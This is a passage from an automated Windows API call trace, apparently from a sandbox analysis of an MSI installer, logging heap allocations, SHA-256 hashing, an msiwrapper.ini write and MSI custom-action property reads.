Flags=0x0, Size=0xa0) returned 0x5f98a0 [0148.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d70 | out: hHeap=0x5c0000) returned 1 [0148.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0148.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d70 | out: hHeap=0x5c0000) returned 1 [0148.930] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f9b88) returned 1 [0148.932] CryptCreateHash (in: hProv=0x5f9b88, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0148.932] CryptHashData (hHash=0x5f6738, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0148.932] CryptHashData (hHash=0x5f6738, pbData=0x5f64a0, dwDataLen=0xf0, dwFlags=0x0) returned 1 [0148.932] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0148.932] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0148.932] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0148.932] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0148.932] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0148.932] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0148.932] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0148.933] GetLastError () returned 0x0 [0148.933] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0148.933] GetLastError () returned 0x0 [0148.933] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0148.933] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0148.933] GetLastError () returned 0x0 [0148.933] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0148.933] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0148.934] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0148.934] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0148.934] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9d98 [0148.934] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9da8, cchWideChar=64 | out: lpWideCharStr="9fb41c9b65eee7e2b52f4388cd78f1c65a644515a4e30d610d1ce074c301899a") returned 0 [0148.934] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0148.934] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0148.934] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0148.934] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0148.934] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0148.935] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0148.935] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0148.935] CryptDestroyHash (hHash=0x5f6738) returned 1 [0148.935] CryptReleaseContext (hProv=0x5f9b88, dwFlags=0x0) returned 1 [0148.935] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9d98 | out: hHeap=0x5c0000) returned 1 [0148.935] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f98a0 | out: hHeap=0x5c0000) returned 1 [0148.935] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0148.935] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3d98, Size=0x30) returned 0x5f6648 [0148.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6648 | out: hHeap=0x5c0000) returned 1 [0148.936] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0148.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0148.936] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f98a0) returned 1 [0148.937] CryptCreateHash (in: hProv=0x5f98a0, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0148.937] CryptHashData (hHash=0x5f6778, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0148.937] CryptHashData (hHash=0x5f6778, pbData=0x5f64a0, dwDataLen=0x182, dwFlags=0x0) returned 1 [0148.937] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0148.937] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0148.937] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0148.937] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0148.937] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0148.938] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0148.938] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0148.938] GetLastError () returned 0x0 [0148.938] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0148.938] GetLastError () returned 0x0 [0148.938] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0148.939] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0148.939] GetLastError () returned 0x0 [0148.939] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0148.939] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0148.939] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0148.939] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0148.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9d10 [0148.939] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9d20, cchWideChar=64 | out: lpWideCharStr="fec0801474a0ac29a973069b959e7d3f41c6ed9164c0e31b4ba6edf6a516d944G") returned 0 [0148.940] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0148.940] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0148.940] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0148.942] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0148.942] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0148.942] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0148.942] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0148.942] CryptDestroyHash (hHash=0x5f6778) returned 1 [0148.942] CryptReleaseContext (hProv=0x5f98a0, dwFlags=0x0) returned 1 [0148.942] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0148.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0148.943] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6490, Size=0x350) returned 0x5f9db8 [0148.943] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0148.945] WriteFile (in: hFile=0x180, lpBuffer=0x5f9dca*, nNumberOfBytesToWrite=0x20a, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f9dca*, lpNumberOfBytesWritten=0x21df464*=0x20a, lpOverlapped=0x0) returned 1 [0148.946] CloseHandle (hObject=0x180) returned 1 [0148.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9d10 | out: hHeap=0x5c0000) returned 1 [0148.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0148.948] MsiCreateRecord (cParams=0x2) returned 0x23 [0148.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.950] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0148.950] MsiRecordSetStringW (hRecord=0x23, iField=0x0, szValue="-- CUSTOM ACTION -- GetParameters: Start.") returned 0x0 [0148.951] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x23) returned 0 [0148.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0148.956] MsiCloseHandle (hAny=0x23) returned 0x0 [0148.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.957] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0148.957] MsiCreateRecord (cParams=0x2) returned 0x24 [0148.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.957] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0xa0) returned 0x5f97f8 [0148.957] MsiRecordSetStringW (hRecord=0x24, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=BZ.FIXED_INSTALL_ARGUMENTS") returned 0x0 [0148.957] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x24) returned 0 [0148.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0148.960] MsiCloseHandle (hAny=0x24) returned 0x0 [0148.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0148.961] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.FIXED_INSTALL_ARGUMENTS", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df434 | out: szValueBuf="", pcchValueBuf=0x21df434) returned 0xea [0148.961] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x2) returned 0x340ef8 [0148.961] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.FIXED_INSTALL_ARGUMENTS", szValueBuf=0x340ef8, pcchValueBuf=0x21df434 | out: szValueBuf="", pcchValueBuf=0x21df434) returned 0x0 [0148.961] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0148.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.961] MsiCreateRecord (cParams=0x2) returned 0x25 [0148.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbb20 [0148.961] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbb20, Size=0x70) returned 0x5f5c18 [0148.961] MsiRecordSetStringW (hRecord=0x25, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=\"\"") returned 0x0 [0148.962] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x25) returned 0 [0148.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0148.964] MsiCloseHandle (hAny=0x25) returned 0x0 [0148.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0148.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.965] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0148.965] MsiCreateRecord (cParams=0x2) returned 0x26 [0148.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.965] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f97f8 [0148.965] MsiRecordSetStringW (hRecord=0x26, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=UILevel") returned 0x0 [0148.965] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x26) returned 0 [0148.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0148.968] MsiCloseHandle (hAny=0x26) returned 0x0 [0148.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0148.968] MsiGetPropertyW (in: hInstall=0x1, szName="UILevel", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df430 | out: szValueBuf="", pcchValueBuf=0x21df430) returned 0xea [0148.969] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0148.969] MsiGetPropertyW (in: hInstall=0x1, szName="UILevel", szValueBuf=0x340ef8, pcchValueBuf=0x21df430 | out: szValueBuf="5", pcchValueBuf=0x21df430) returned 0x0 [0148.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0148.969] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0148.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.969] MsiCreateRecord (cParams=0x2) returned 0x27 [0148.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbb20 [0148.969] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbb20, Size=0x70) returned 0x5f5c18 [0148.970] MsiRecordSetStringW (hRecord=0x27, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=5") returned 0x0 [0148.970] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x27) returned 0 [0148.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0148.974] MsiCloseHandle (hAny=0x27) returned 0x0 [0148.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0148.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.975] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0148.975] MsiCreateRecord (cParams=0x2) returned 0x28 [0148.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.975] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x80) returned 0x5f97f8 [0148.975] MsiRecordSetStringW (hRecord=0x28, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=WRAPPED_ARGUMENTS") returned 0x0 [0148.975] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x28) returned 0 [0148.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0148.978] MsiCloseHandle (hAny=0x28) returned 0x0 [0148.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0148.979] MsiGetPropertyW (in: hInstall=0x1, szName="WRAPPED_ARGUMENTS", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df42c | out: szValueBuf="", pcchValueBuf=0x21df42c) returned 0xea [0148.979] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x2) returned 0x340ef8 [0148.979] MsiGetPropertyW (in: hInstall=0x1, szName="WRAPPED_ARGUMENTS", szValueBuf=0x340ef8, pcchValueBuf=0x21df42c | out: szValueBuf="", pcchValueBuf=0x21df42c) returned 0x0 [0148.979] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0148.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.979] MsiCreateRecord (cParams=0x2) returned 0x29 [0148.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbb20 [0148.979] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbb20, Size=0x70) returned 0x5f5c18 [0148.979] MsiRecordSetStringW (hRecord=0x29, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=\"\"") returned 0x0 [0148.979] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x29) returned 0 [0148.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0148.981] MsiCloseHandle (hAny=0x29) returned 0x0 [0148.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0148.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.982] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0148.982] MsiCreateRecord (cParams=0x2) returned 0x2a [0148.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.982] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0xa0) returned 0x5f97f8 [0148.982] MsiRecordSetStringW (hRecord=0x2a, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=BZ.UIFULL_INSTALL_ARGUMENTS") returned 0x0 [0148.982] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x2a) returned 0 [0148.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0148.984] MsiCloseHandle (hAny=0x2a) returned 0x0 [0148.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0148.984] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.UIFULL_INSTALL_ARGUMENTS", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df438 | out: szValueBuf="", pcchValueBuf=0x21df438) returned 0xea [0148.986] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x2) returned 0x340ef8 [0148.986] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.UIFULL_INSTALL_ARGUMENTS", szValueBuf=0x340ef8, pcchValueBuf=0x21df438 | out: szValueBuf="", pcchValueBuf=0x21df438) returned 0x0 [0148.986] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0148.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.986] MsiCreateRecord (cParams=0x2) returned 0x2b [0148.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbb20 [0148.986] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbb20, Size=0x70) returned 0x5f5c18 [0148.986] MsiRecordSetStringW (hRecord=0x2b, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=\"\"") returned 0x0 [0148.987] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x2b) returned 0 [0148.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0148.989] MsiCloseHandle (hAny=0x2b) returned 0x0 [0148.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0148.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.989] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0148.989] MsiCreateRecord (cParams=0x2) returned 0x2c [0148.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.990] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f97f8 [0148.990] MsiRecordSetStringW (hRecord=0x2c, iField=0x0, szValue="-- CUSTOM ACTION -- SubstProperties: Input=\"\"") returned 0x0 [0148.990] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x2c) returned 0 [0148.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0148.992] MsiCloseHandle (hAny=0x2c) returned 0x0 [0148.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0148.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.992] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0148.992] MsiCreateRecord (cParams=0x2) returned 0x2d [0148.993] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.993] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f97f8 [0148.993] MsiRecordSetStringW (hRecord=0x2d, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=SourceDir") returned 0x0 [0148.993] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x2d) returned 0 [0148.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0148.995] MsiCloseHandle (hAny=0x2d) returned 0x0 [0148.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0148.995] MsiGetPropertyW (in: hInstall=0x1, szName="SourceDir", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df40c | out: szValueBuf="", pcchValueBuf=0x21df40c) returned 0xea [0148.995] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x36) returned 0x340a78 [0148.996] MsiGetPropertyW (in: hInstall=0x1, szName="SourceDir", szValueBuf=0x340a78, pcchValueBuf=0x21df40c | out: szValueBuf="C:\\Users\\KEECFM~1\\Desktop\\", pcchValueBuf=0x21df40c) returned 0x0 [0148.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x5f56e0 [0148.996] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0148.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.996] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0148.996] MsiCreateRecord (cParams=0x2) returned 0x2e [0148.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.996] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0xa0) returned 0x5f97f8 [0148.997] MsiRecordSetStringW (hRecord=0x2e, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=C:\\Users\\KEECFM~1\\Desktop\\") returned 0x0 [0148.997] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x2e) returned 0 [0148.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0148.999] MsiCloseHandle (hAny=0x2e) returned 0x0 [0148.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0148.999] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0148.999] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0148.999] MsiCreateRecord (cParams=0x2) returned 0x2f [0149.000] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.000] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x80) returned 0x5f97f8 [0149.000] MsiRecordSetStringW (hRecord=0x2f, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=OriginalDatabase") returned 0x0 [0149.000] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x2f) returned 0 [0149.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.002] MsiCloseHandle (hAny=0x2f) returned 0x0 [0149.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.002] MsiGetPropertyW (in: hInstall=0x1, szName="OriginalDatabase", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df408 | out: szValueBuf="", pcchValueBuf=0x21df408) returned 0xea [0149.003] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0xbe) returned 0x340b60 [0149.003] MsiGetPropertyW (in: hInstall=0x1, szName="OriginalDatabase", szValueBuf=0x340b60, pcchValueBuf=0x21df408 | out: szValueBuf="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", pcchValueBuf=0x21df408) returned 0x0 [0149.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x5f78f8 [0149.003] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.003] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x100) returned 0x5f97f8 [0149.003] 